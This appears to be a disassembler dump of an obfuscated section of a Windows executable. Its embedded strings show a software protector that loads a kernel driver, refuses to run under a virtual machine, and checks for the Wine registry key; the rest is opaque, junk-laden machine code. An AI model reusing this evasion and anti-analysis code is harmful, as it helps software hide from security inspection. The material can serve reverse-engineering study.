		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	76726553h, 20656369h, 6B636150h
		dd 3220h, 1Dh dup(0)
aSoftwareWine	db 'Software\Wine',0
		dw 0C48Bh
		dd 2F1DBD8Bh, 858907D3h, 7D3139Dh, 43F28166h, 0ADB58963h
		dd 8B07D329h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 947002Bh,	0F66EDE32h, 0B1BD8359h
		dd 7D313h, 0BD830975h, 7D3273Dh, 50197400h, 0B8C08B53h
		dd 43Dh, 18058589h, 9D8D07D3h, 7DB2809h, 585BD3FFh, 273DBD83h
		dd 740007D3h, 0B8535017h, 43Dh,	18058589h, 9D8D07D3h, 7DB24F8h
		dd 585BD3FFh, 68C0Fh, 0BD890000h, 7D30F45h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 91C35343h, 0F2D6BA66h
		dd 9589C08Bh, 7D32E2Dh,	0EB8AC08Bh, 13B1BD83h, 750007D3h
		dd 3DBD8309h, 7D327h, 53501374h, 0B8C08Bh, 8D000000h, 0DB26AB9Dh
		dd 5BD3FF07h, 3DBD8358h, 7D327h, 53501174h, 0B8h, 5C9D8D00h
		dd 0FF07DB25h, 0F585BD3h, 688h,	0D99D0100h, 6A07D334h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 77B3C357h, 62AA03B1h, 519D09CEh, 8B07D318h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 410E5CD9h, 32DD5D21h, 0CE94Ah, 0B9430000h
		dd 8AAA102h, 5CD4E811h,	0BD0B693Bh, 7D31389h, 0F60C08Bh
		dd 281h, 3FC8A00h, 0D30005B5h, 8D336107h, 7D32C9Dh, 13B1BD83h
		dd 750007D3h, 3DBD8309h, 7D327h, 53501374h, 0B8C08Bh, 8D000000h
		dd 0DB25DD9Dh, 5BD3FF07h, 3DBD8358h, 7D327h, 53501174h
		dd 0B8h, 2A9D8D00h, 0FF07DB25h,	8B585BD3h, 0D30841BDh
		dd 59958907h, 8B07D315h, 13E9C0h, 961A0000h, 0B80B6ACAh
		dd 0DC5A87ECh, 0CFF2D273h, 936EA5D4h, 6AC08B31h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0B2A7C356h, 33E5FBAAh, 83B5BE2Ch, 0D313B1BDh, 9750007h
		dd 273DBD83h, 740007D3h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 7DB2644h, 585BD3FFh,	273DBD83h, 740007D3h, 0B8535011h
		dd 0
		dd 25439D8Dh, 0D3FF07DBh, 12E9585Bh, 5E000000h,	1C31091h
		dd 414031Bh, 39386059h,	0E88A7D68h, 56006AA7h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0AE33FF69h
		dd 0E556C488h, 0C08B7FA0h, 61BD2960h, 6007D301h, 8F0F16B1h
		dd 0
		dd 0C08B6161h, 1451B529h, 0BD8307D3h, 7D313B1h,	83097500h
		dd 0D3273DBDh, 13740007h, 0C08B5350h, 0B8h, 769D8D00h
		dd 0FF07DB25h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 57EEC356h, 1AD98166h
		dd 0BD8B5A42h, 7D30379h, 0B966C08Bh, 0C08B01F4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 5DC35141h, 0B1BD8309h
		dd 7D313h, 0BD830975h, 7D3273Dh, 50197400h, 0B8C08B53h
		dd 7D0h, 18058589h, 9D8D07D3h, 7DB2809h, 585BD3FFh, 273DBD83h
		dd 740007D3h, 0B8535017h, 7D0h,	18058589h, 9D8D07D3h, 7DB24F8h
		dd 585BD3FFh, 6AEF8Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0F32F99C3h, 12E8h, 94513500h, 5B9496BCh
		dd 400F64BDh, 43EEF723h, 0E9828196h, 0Fh, 0A51D68D9h, 0F8A1401Dh
		dd 0DB7C6F0Dh, 5992068Ah, 5D9BD01h, 0C08B07D3h,	17EA8166h
		dd 0D185C609h, 5307D318h, 2A518D8Bh, 906807D3h,	8199395Fh
		dd 0DA9B27C9h, 65B5FF3Dh, 8907D301h, 0D324C99Dh, 37858D07h
		dd 8907D33Ah, 0D32E71BDh, 29D0FF07h, 0D3073D9Dh, 3D858907h
		dd 0C607D32Dh, 0D318D185h, 0F38A5707h, 4520668h, 99D8990h
		dd 0FF07D31Dh, 0D30165B5h, 0B18D0307h, 6607D331h, 0B17ECA81h
		dd 3A37858Dh, 38B507D3h, 0BA66D0FFh, 8589864Ah,	7D31819h
		dd 0DC48BF66h, 18D185C6h, 0F4307D3h, 587h, 0BF0F5200h
		dd 286859D0h, 6ABC9070h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 3332C355h, 330CFB73h
		dd 0E7BA6625h, 65B5FFC9h, 6607D301h, 858DFB8Bh,	7D33A37h
		dd 4850Fh, 0B9660000h, 0D0FF4CE5h, 918589F5h, 8B07D326h
		dd 0D30A3595h, 0D185C607h, 4C07D318h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0A0C35040h,	975C901Bh, 51958BA4h
		dd 6807D31Ah, 0D9DA1CE9h, 1FF5BD8Bh, 0B5FF07D3h, 7D30165h
		dd 858DF98Bh, 7D33A37h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 6C35646h, 5F38D6A0h, 0D0FFE236h, 8589EB8Ah
		dd 7D33451h, 0C6D18B66h, 0D318D185h, 0BD8B4607h, 7D333D5h
		dd 0DE061468h, 0B5FFF8BAh, 7D30165h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0F1C35646h,	7B3A095Fh, 7C9B8627h
		dd 0BF0FF38Ah, 37858DFAh, 6A07D33Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 27E7C351h
		dd 58A0F32h, 66000000h,	900BEF81h, 1BB1B529h, 0D0FF07D3h
		dd 0B6D8529h, 0BE907D3h, 48000000h, 384E7CD4h, 0E05D8267h
		dd 8589E6EFh, 7D30F39h,	85C610B5h, 7D318D1h, 52006A47h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0DD9BADA6h, 8C7BA9D0h, 68F8E980h, 8A0FB5E2h,	61BD8B51h
		dd 5F07D30Dh, 165B5FFh,	950907D3h, 7D30BC9h, 3A37858Dh
		dd 0BD8B07D3h, 7D30169h, 8F0FD0FFh, 1, 0B98589F9h, 6A07D32Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 2F8EC353h, 895F335Eh, 0D3323595h,	0D185C607h
		dd 4707D318h, 17058D31h, 0F36807D3h, 0F83D0B5h,	0B5FFFEBFh
		dd 7D30165h, 3A37858Dh,	0B96607D3h, 0D0FF470Ch,	1FF59D89h
		dd 858907D3h, 7D33209h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 2AC35545h, 0A672B00Ch, 0BA66A774h, 958B776Dh
		dd 7D33121h, 18D185C6h,	0F7707D3h, 0A368FFBFh, 8BF397A8h
		dd 0D3321195h, 0B9B5FF07h, 5307D300h, 2A418D23h, 8D5A07D3h
		dd 0D33A3785h, 0CEFB907h, 0D0FF079Fh, 0BEC78166h, 5830F50h
		dd 0B9000000h, 52CDE136h, 0F018589h, 816007D3h,	468DA6D0h
		dd 0FAB70F5Eh, 0D185C661h, 4707D318h, 26118D8Bh, 0F66807D3h
		dd 608728FAh, 0D25B58Bh, 0E78007D3h, 0B5FF6170h, 7D30165h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 12C35747h
		dd 30E94C40h, 37858D47h, 2B07D33Ah, 0D326F1BDh,	0E8D0FF07h
		dd 0Ah,	87715A9Ah, 0C6404C89h, 8D8B2FE6h, 7D31691h, 4985895Fh
		dd 6007D300h, 6D8589h, 8A6007D3h, 8B0FF3h, 61000000h, 0D185C661h
		dd 4307D318h, 1CFD958Bh, 0FC6807D3h, 6ABC8E6Eh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 74C2C356h, 0A47139A3h, 6E9739Ah, 52000000h, 0A886A21Ah
		dd 65B5FF9Bh, 0F807D301h, 3A37858Dh, 0BD8B07D3h, 7D30639h
		dd 0BD8BD0FFh, 7D32CD1h, 1ACD8589h, 0BD0307D3h,	7D31EA5h
		dd 0FE96060h, 2B000000h, 6258DE94h, 0E1491DA4h,	0B1B0A188h
		dd 616010E6h, 898D8961h, 6107D323h, 18D185C6h, 0F4507D3h
		dd 1789h, 11E800h, 0B6910000h, 0A0658103h, 2D71E0FFh, 7EF273Ah
		dd 5AC1A679h, 72696968h, 3DBD038Eh, 0FF07D32Bh,	0D30165B5h
		dd 0CE8B6607h, 3A37858Dh, 8D8B07D3h, 7D30835h, 8B66D0FFh
		dd 0FD8589CFh, 6007D300h, 5616E781h, 0DDBA7421h, 61707F71h
		dd 18D185C6h, 0E84407D3h, 0Eh, 0C8778480h, 71C17F1Eh, 2B0EA65Ch
		dd 0BD09B428h, 7D32091h, 0EC646859h, 6AB8F2h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 61626FC3h
		dd 1F1BFD21h, 2317A79Bh, 0D3241995h, 65B5FF07h,	8907D301h
		dd 0D32F959Dh, 35B58907h, 8D07D303h, 0D33A3785h, 952B6007h
		dd 7D31C51h, 0B7F68166h, 0D0FF6122h, 17858501h,	850F07D3h
		dd 6, 30B98529h, 858907D3h, 7D3016Dh, 8958D8Bh,	85C607D3h
		dd 7D318D1h, 68A1B143h,	0C0764AA7h, 51E98166h, 65B5FF0Eh
		dd 0F507D301h, 3A37858Dh, 8D8B07D3h, 7D30649h, 9D29D0FFh
		dd 7D3295Dh, 324D8589h,	0B58907D3h, 7D30285h, 7C90BD80h
		dd 0F0007DBh, 0AA84h, 0CE800h, 6C4B0000h, 57EB9E7Eh, 0AD161544h
		dd 0BF661A8Bh, 8D5FE793h, 0DB7C7285h, 99858907h, 5007D32Fh
		dd 5E8h, 0E3D1C800h, 81667E1Dh,	5F3D40CAh, 819D8960h, 6607D331h
		dd 6A61F98Bh, 66006A01h, 6A16C6BFh, 0D5805000h,	860F5F99h
		dd 6, 30619509h, 95FF07D3h, 7D32691h, 1FDAB7B9h, 5D85896Ah
		dd 6A07D314h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 4161C357h, 7B4BB4B2h, 0E4E98036h
		dd 8CB9FF6Ah, 0FF79B6CBh, 0D3145DB5h, 1995FF07h, 6607D318h
		dd 66AEBCBFh, 8B60ECBAh, 0DFD5BAC0h, 0BD834D1Eh, 7D313B1h
		dd 83097500h, 0D3273DBDh, 19740007h, 0C08B5350h, 7D1B8h
		dd 5858900h, 8D07D318h,	0DB28099Dh, 5BD3FF07h, 3DBD8358h
		dd 7D327h, 53501774h, 7D1B8h, 5858900h,	8D07D318h, 0DB24F89Dh
		dd 5BD3FF07h, 0F7816658h, 6660F02Fh, 8B66D78Bh,	11E961D7h
		dd 96000000h, 0BD939A44h, 15D35AECh, 3488BCBh, 43484B73h
		dd 6BE9BA66h, 85C6C08Bh, 7D318D1h, 68D68B47h, 93C8F7C1h
		dd 68B0Fh, 0B5310000h, 7D317F9h, 165B5FFh, 8B6607D3h, 0E78166C8h
		dd 858DE729h, 7D33A37h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 2CC35646h, 6660E3C7h,	618501BBh, 7A58D8Bh
		dd 0D0FF07D3h, 50006A50h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 5900FD44h, 0FE899934h
		dd 80B3858Dh, 8B6607DBh, 9400C7FBh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 1E8BC355h, 0D34CA258h, 14E8AE27h, 30000000h,	566BF5ADh
		dd 0C5B16112h, 276C4275h, 9627CB21h, 8132849Dh,	0F64B5FE7h
		dd 6A585A39h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0DD16C350h, 860F7FFDh,	6, 1839958Bh
		dd 0B58D07D3h, 7DB80B3h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0D4C35545h, 2EA9958Bh, 0BD8907D3h, 7D317F1h
		dd 51006A56h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0E911551Eh, 0Dh,	7361843Ah, 0D5C41DC1h
		dd 5E4BA940h, 0E1858937h, 0FF07D330h, 0B3858DD0h, 0E907DB80h
		dd 9, 35AC7FD3h, 23F3CDBAh, 47883B8h, 14850F06h, 8B000000h
		dd 0D30F1D8Dh, 4785C707h, 107DB81h, 66000000h, 8379A2B9h
		dd 0D331F5BDh, 850F0007h, 6Dh, 8F95D0B9h, 47BD832Bh, 7DB81h
		dd 5B850Fh, 9D890000h, 7D32079h, 235DBD83h, 0F0007D3h
		dd 4884h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0C4CD4543h, 0D53FC185h, 8D29FAC9h
		dd 7D32C91h, 178985C7h,	7D3h, 0E9600000h, 0Ah, 0EC400B2h
		dd 1C852119h, 0CB8BE752h, 0DB8C6661h, 14E9h, 0D3ED0600h
		dd 805EEA56h, 0E5F46B03h, 6118E456h, 101DB53Fh,	4C3F65Fh
		dd 5AB840Fh, 0B5890000h, 7D31FB5h, 325585C7h, 7D3h, 0AE80000h
		dd 7D000000h, 6CD1BBF5h, 9E26FA9Ch, 0CB8B6683h,	9DBD805Fh
		dd 7DB7Ch, 6850Fh, 85890000h, 7D30C2Dh,	18D185C6h, 0BF4707D3h
		dd 9E2E975h, 0E45B8668h, 51006AE3h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0D78B66B1h, 165B5FFh
		dd 0BD8907D3h, 7D32969h, 8DFBBF0Fh, 0D33A3785h,	10E907h
		dd 20980000h, 0CE2A4426h, 7D5D012Dh, 0BCDFE0ADh, 0D0FF5533h
		dd 0E8F18166h, 1046803h, 9D890000h, 7D30161h, 8D69CA80h
		dd 0D31D959Dh, 75BD8B07h, 5307D32Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 13C35040h, 9D9D0960h, 8907D316h
		dd 0D30A559Dh, 0D0FF6107h, 0D08B6650h, 71958B5Ah, 8D07D302h
		dd 0D31D9585h, 12E907h,	0CF810000h, 0D57C516Dh,	8483CCC8h
		dd 0B0DB5248h, 0C006A8ABh, 50006A50h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 6E7338FAh
		dd 5100EB31h, 4F858D5Ah, 0F507DB7Ch, 0BD035050h, 7D30289h
		dd 22858D59h, 0E907DB73h, 5, 0C8BFA025h, 51B589D6h, 5007D330h
		dd 4D952B60h, 907D313h,	0D30111BDh, 95FF6107h, 7D30F01h
		dd 80D8D8Bh, 0C48307D3h, 6AFC0Ch, 8068h, 6A036A00h, 68006A00h
		dd 80000000h, 7322858Dh, 0FF5007DBh, 0D31ACD95h, 32858907h
		dd 0C607DB7Ch, 0D318D185h, 87684707h, 0FFC7B15Eh, 0D30165B5h
		dd 37858D07h, 0FF07D33Ah, 0FF006AD0h, 0DB7C32B5h, 6AD0FF07h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 20DEC356h, 0E91F952Ch, 7,	44471557h, 0B1D71005h
		dd 28D0F85h, 0B6000000h, 37D03DD2h, 830F0000h, 4Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 97C35646h, 556C58B8h
		dd 81234A37h, 0C018589h, 0B5FF07D3h, 7DB7C32h, 4D95FFFCh
		dd 6007D332h, 8F78166h,	5D9D8B8Fh, 6107D308h, 0BFE9h, 0CA816600h
		dd 0B5FFAC0Eh, 7DB7C32h, 0FF5FFC52h, 0D3324D95h, 61BD8B07h
		dd 6A07D31Bh, 0D68B6600h, 0AE9006Ah, 28000000h,	6333227Eh
		dd 1FFEF111h, 6A006A44h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 8862C357h, 31D0B5E8h
		dd 6A492BD5h, 18D0900h,	6A07D30Eh, 0CA8B6600h, 0F960006Ah
		dd 8D617BB6h, 0DB7C3685h, 0D1BD2907h, 0F807D30Eh, 0CB8B6650h
		dd 1ACD95FFh, 6A07D3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 739538C3h, 53D02735h, 2CB6B91Ah
		dd 83D18B66h, 850FFFF8h, 15Bh, 13A9958Bh, 953307D3h, 7D3210Dh
		dd 37C2858Dh, 9D8907DBh, 7D30D49h, 6AD0FFh, 0E810Fh, 89600000h
		dd 0D3309995h, 8B0F07h,	61000000h, 0BF66006Ah, 6AFEAAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F5C35545h
		dd 60EDBC0h, 35DCC45Eh,	12E8h, 792E9300h, 0C2BAA86Fh, 0FCEB6D19h
		dd 2E8EB5E6h, 8928BA4Eh, 0D302999Dh, 9D895907h,	7D32CD1h
		dd 0DA81006Ah, 1BFCF415h, 8D09006Ah, 7D32CF9h, 31B9006Ah
		dd 8D41128Ch, 0DB7C3685h, 0E98D3307h, 5007D329h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7FC35545h, 83E8F6AFh
		dd 0FFD6B70Fh, 0D31ACD95h, 998D2907h, 8307D30Ch, 850FFFF8h
		dd 7Fh,	14E9h, 98287F00h, 423EF097h, 25C354A7h,	0EB129031h
		dd 0CBD242EBh, 3EB58D7Eh, 8B07DB76h, 0D329458Dh, 0D9858D07h
		dd 6607DB21h, 0D0FFD78Bh, 6830Fh, 9D890000h, 7D30CC1h
		dd 8B53006Ah, 85895AFAh, 7D30A69h, 0FD95FFh, 6A07D3h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 11D44BC3h, 0B056699Ch, 315B61DCh, 0D32BA5BDh, 79958B07h
		dd 8907D31Ch, 0DB7C3285h, 0A9958907h, 6A07D300h, 8D8B5000h
		dd 7D31729h, 2A858D59h,	0E807DB7Ch, 0Ah, 111BFFC1h, 72683879h
		dd 0F603F0Eh, 8Dh, 0CE8B6600h, 18BA5A61h, 506563A0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 76C35242h, 13E9A45Fh
		dd 0FE000000h, 0F3016B9Eh, 17A159B7h, 520D2D82h, 0A38119AEh
		dd 9D89BAB4h, 7D33249h,	8D8B046Ah, 7D3249Dh, 2E4D858Dh
		dd 816607D3h, 50EB7ED9h, 0DAC98166h, 0DE852h, 0FAD00000h
		dd 585B5132h, 0F7F14839h, 0F87037Ch, 6A5FD1B7h,	11958B00h
		dd 6607D331h, 3785D781h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0F945A7C3h, 0B601E485h
		dd 6A9505B3h, 0BE901h, 77560000h, 0F70B07Ah, 5C080F9Ch
		dd 816651AFh, 5A8728C7h, 7C32B5FFh, 6A07DBh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 672E19C3h
		dd 0D88B6068h, 0FF61FDB4h, 0D3016D95h, 0FED68007h, 1C60E9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 4A8ED918h, 0D81845A4h, 8D2B577Fh, 7D33225h
		dd 1C08B5Ah, 0D3208D85h, 14E907h, 66E60000h, 0B5F43B99h
		dd 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h, 0BD83B0BCh, 7D313B1h
		dd 83097500h, 0D3273DBDh, 19740007h, 0C08B5350h, 7D2B8h
		dd 5858900h, 8D07D318h,	0DB28099Dh, 5BD3FF07h, 3DBD8358h
		dd 7D327h, 53501774h, 7D2B8h, 5858900h,	8D07D318h, 0DB24F89Dh
		dd 5BD3FF07h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8B251DE8h
		dd 9AB966C0h, 5585C731h, 107D332h, 0F000000h, 68Ch, 0BD958B00h
		dd 6807D309h, 0CEE4E7B8h, 1A91B5FFh, 858D07D3h,	7D33A37h
		dd 8589D0FFh, 7D31881h,	7E8E858Dh, 8D5007DBh, 0DB814B85h
		dd 1685007h, 0FF800000h, 0D3188195h, 75C00B07h,	0A585C70Ah
		dd 107D330h, 68000000h,	0C005DBD4h, 1A91B5FFh, 858D07D3h
		dd 7D33A37h, 8589D0FFh,	7D325A1h, 70DB858Dh, 0FF5007DBh
		dd 0D30165B5h, 0B995FF07h, 0B07D32Fh, 8B0B74C0h, 8E858DD8h
		dd 5007DB80h, 858DD3FFh, 7DB808Eh, 9388366h, 85C70A75h
		dd 7D3027Dh, 1,	4995FFh, 0FF2507D3h, 83000000h,	0A7305F8h
		dd 258585C7h, 107D3h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 26D616C3h, 1E58DAA2h
		dd 0F56020CFh, 13458D8Bh, 666107D3h, 0C6A0E181h, 7C9DBD80h
		dd 0F0007DBh, 4A84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0EFFC4265h, 0D318D8Bh
		dd 9E807D3h, 0EB000000h, 1ADC3315h, 0DCA5D28Ch,	59CAB70Fh
		dd 8147BD83h, 0F0007DBh, 1384h,	25950B00h, 0E907D31Bh
		dd 1A55h, 95092DB1h, 7D31759h, 27DBD83h, 0F0007D3h, 0F485h
		dd 0FEB70F00h, 7C67858Dh, 0BF6607DBh, 0E181E7E1h, 47AFBCA2h
		dd 13E950h, 0FD980000h,	0A3C06D0Ch, 9796D125h, 55BA6D6Eh
		dd 0D3FCE655h, 1016A57h, 0D3316595h, 0E9006A07h, 0Ah, 10F82E50h
		dd 0D2CE4960h, 0C781C81Fh, 2B4989ECh, 0BD8B006Ah, 7D3169Dh
		dd 269195FFh, 6A07D3h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0F0E4EEC3h, 0D03A5C45h, 0F5858B60h
		dd 107D31Bh, 0D332999Dh, 85896107h, 7DB7C91h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 51C35040h, 0B986B5EEh
		dd 6643686Fh, 6ACABABAh, 0AE8FFh, 41C50000h, 20918EAEh
		dd 0DAA1459h, 6800Fh, 840F0000h, 0
		dd 91B5FF5Fh, 8007DB7Ch, 8B0F1CD5h, 5, 59F78166h, 1995FFB1h
		dd 8B07D318h, 0D30A0995h, 0A2858D07h, 3307DB70h, 0D317B58Dh
		dd 6A5007h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD8904C3h, 7D31C15h, 345195FFh, 858907D3h
		dd 7D326C5h, 712C8589h,	6A07DBh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0AF37A0C3h, 94617F7Eh
		dd 585898Ch, 8D07D31Ah,	0DB70AF85h, 0F5BD8B07h,	5007D314h
		dd 38C0Fh, 0BF0F0000h, 2CB5FFD0h, 0E907DB71h, 12h, 917793D4h
		dd 4055B70Fh, 821B3A29h, 2EB42709h, 95FF3854h, 7D32FB9h
		dd 2931950Bh, 858907D3h, 7D3309Dh, 17C9B589h, 858D07D3h
		dd 7DB711Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	6CC35343h, 10E8AAD9h, 3F000000h, 1B19787Fh, 556E8FBBh
		dd 6E5AA921h, 894BC8BAh, 0D302F5B5h, 0FC505F07h, 712CB5FFh
		dd 8B6007DBh, 0D3301595h, 4DBD8B07h, 6107D325h,	2FB995FFh
		dd 858907D3h, 7DB7140h,	0BE9h, 0C722600h, 69883918h, 508C00AAh
		dd 70FC858Dh, 8B6607DBh, 8E950D1h, 25000000h, 9EB3C1B1h
		dd 0FFD49C86h, 0DB712CB5h, 68F0F07h, 81000000h,	88C2A8EFh
		dd 0B995FF6Ah, 6A07D32Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0C1FAC353h,	0BD8B6B26h
		dd 7D32775h, 89D68B66h,	0DB713885h, 0E19D2907h,	0F07D329h
		dd 858DD0B7h, 7DB70EFh,	50FE8B66h, 2FA58D8Bh, 0B5FF07D3h
		dd 7DB712Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0FEC35343h, 0B18D8B52h,	5907D31Ch, 2FB995FFh, 0BD8B07D3h
		dd 7D30C91h, 713C8589h,	62B107DBh, 10E9h, 0A377C500h, 0AACDFB92h
		dd 0CC2BC28Ch, 3D90A234h, 0A858D09h, 8907DB71h,	0D315DDB5h
		dd 860F5007h, 6, 20BDBD8Bh, 0B5FF07D3h,	7DB712Ch, 48DA8166h
		dd 0B995FF08h, 6607D32Fh, 8589FE8Bh, 7D315D9h, 2105B589h
		dd 858D07D3h, 7DB70BEh,	10E9h, 7276F700h, 657D653Ch, 22BCE094h
		dd 0BD3324F9h, 6A50CCh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 39BC6DC3h, 0B92185E4h, 0A5BF2D40h
		dd 0FF299FDFh, 0DB712CB5h, 0C2B96607h, 0B995FFA5h, 0E907D32Fh
		dd 0Ah,	0BE553DC4h, 15DAB13Ch, 8589AC4Ch, 7DB7130h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 59C35141h, 10C311A5h
		dd 68D0F85h, 89000000h,	0D31BE5B5h, 0CD858D07h,	3107DB70h
		dd 0D316B1BDh, 0BD895007h, 7D32E71h, 712CB5FFh,	6A07DBh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 7FB976C3h, 1B619D01h, 8D8B07D3h, 7D3181Dh, 48D0Fh, 0B9660000h
		dd 95FFBD9Ah, 7D32FB9h,	348589FCh, 8B07DB71h, 0D330FD8Dh
		dd 1046807h, 44B50000h,	71C4858Dh, 6A07DBh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 6479B5C3h
		dd 3BB4E20Bh, 2AD18041h, 0EE950h, 1A3C0000h, 0A221F6Ch
		dd 17B7F108h, 41C16F48h, 72C8858Dh, 816607DBh, 1C27BC7h
		dd 0D32B2D85h, 0BF665007h, 95FF0A36h, 7D33209h,	0C858589h
		dd 0CA8B07D3h, 850FC085h, 20h, 11E8h, 7FE2900h,	7549A9DEh
		dd 4B60021Eh, 7A4F1627h, 0B70F3E58h, 958959CFh,	7D32085h
		dd 7C9DBD80h, 0F0007DBh, 685h, 1587E900h, 83FC0000h, 0D3027DBDh
		dd 850F0007h, 19h, 4032F181h, 0BD8330BAh, 7DB8147h, 30840F00h
		dd 89000000h, 0D3010185h, 61858D07h, 0F07DB71h,	68Bh, 0DD8D8900h
		dd 0E907D32Bh, 1549h, 25AD8D8Bh, 26B907D3h, 0E971EFC7h
		dd 28h,	8D41EA80h, 0DB714C85h, 13E807h,	0FB040000h, 0EE84894Fh
		dd 72C64472h, 65EE01ECh, 3591FD87h, 0D85898Dh, 5A07D32Ah
		dd 0DD958B50h, 8D07D323h, 0DB71C485h, 0B9665007h, 0BD838AC9h
		dd 7D3027Dh, 4E840F00h,	0B000000h, 0D318AD8Dh, 0EA858D07h
		dd 6A07DB72h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 62F1C350h, 0E9F54283h,	0Ch, 0C266D1D5h
		dd 0CCF7C10Dh, 0D3C75CA0h, 28E9h, 0D9958900h, 3107D316h
		dd 0D323DD9Dh, 0D3858D07h, 0E807DB72h, 0Ah, 0FDFA1D87h
